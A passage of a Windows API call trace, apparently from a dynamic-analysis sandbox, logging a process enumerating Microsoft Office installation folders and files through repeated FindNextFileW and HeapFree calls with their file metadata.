	[0083.229] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf086f11e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf086f11e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf086f11e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1
	[0083.230] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0083.230] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1
	[0083.230] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0083.230] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2ca2e08, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14c6cb9, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x14c6cb9, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1
	[0083.231] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0083.231] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2e1f46, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1
	[0083.234] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0083.234] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12910b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26737b32, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26737b32, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1
	[0083.241] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0083.241] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf472b09c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1
	[0083.242] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0083.242] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bb01a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bb01a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1
	[0083.247] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.247] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xceb38292, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xceb38292, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe172e9be, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x22cad0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1
	[0083.344] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.344] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x24bcc96d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24bcc96d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="DataModel", cAlternateFileName="DATAMO~1")) returned 1
	[0083.537] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4003028 | out: hHeap=0x720000) returned 1
	[0083.537] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17e0c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.dll", cAlternateFileName="MI1312~1.DLL")) returned 1
	[0083.570] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4023038 | out: hHeap=0x720000) returned 1
	[0083.570] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9e69c | out: lpFindFileData=0x2e9e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4befc00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0083.570] FindClose (in: hFindFile=0x811a08 | out: hFindFile=0x811a08) returned 1
	[0083.576] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4003028 | out: hHeap=0x720000) returned 1
	[0083.576] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x447d6b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x447d6b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44a38de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c190, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Spatial.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0083.577] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.577] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2803429, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2803429, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1
	[0083.577] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.577] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x26a58c7d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x77e88, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1
	[0083.584] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4003028 | out: hHeap=0x720000) returned 1
	[0083.584] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef915def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8f6526, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 0
	[0083.584] FindClose (in: hFindFile=0x811948 | out: hFindFile=0x811948) returned 1
	[0083.584] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.585] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0fbc434, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0fbc434, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf10a1263, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2c40, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1
	[0083.586] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0083.586] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8d02b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8d02b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1
	[0083.589] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0083.589] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc576616a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1
	[0083.590] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.590] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc62081b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc62081b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc62081b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1bac0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1
	[0083.592] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4003028 | out: hHeap=0x720000) returned 1
	[0083.592] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1
	[0083.592] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.592] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1cec0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1
	[0083.593] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0083.594] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0ed7602, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0ed7602, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0ed7602, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1
	[0083.596] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.596] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5f76153, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEXTCONV", cAlternateFileName="")) returned 1
	[0083.597] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0083.597] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES16", cAlternateFileName="")) returned 1
	[0083.600] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.600] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ARCTIC", cAlternateFileName="")) returned 1
	[0083.601] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.601] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="AXIS", cAlternateFileName="")) returned 1
	[0083.601] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.601] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a96da3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLENDS", cAlternateFileName="")) returned 1
	[0083.602] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.602] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLUECALM", cAlternateFileName="")) returned 1
	[0083.604] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.604] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1
	[0083.605] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.605] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1
	[0083.606] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.606] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BREEZE", cAlternateFileName="")) returned 1
	[0083.606] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.606] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CANYON", cAlternateFileName="")) returned 1
	[0083.607] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.607] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CAPSULES", cAlternateFileName="")) returned 1
	[0083.609] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.609] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CASCADE", cAlternateFileName="")) returned 1
	[0083.610] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.610] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="COMPASS", cAlternateFileName="")) returned 1
	[0083.611] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.611] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CONCRETE", cAlternateFileName="")) returned 1
	[0083.612] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.612] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1
	[0083.613] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.613] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ECHO", cAlternateFileName="")) returned 1
	[0083.614] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
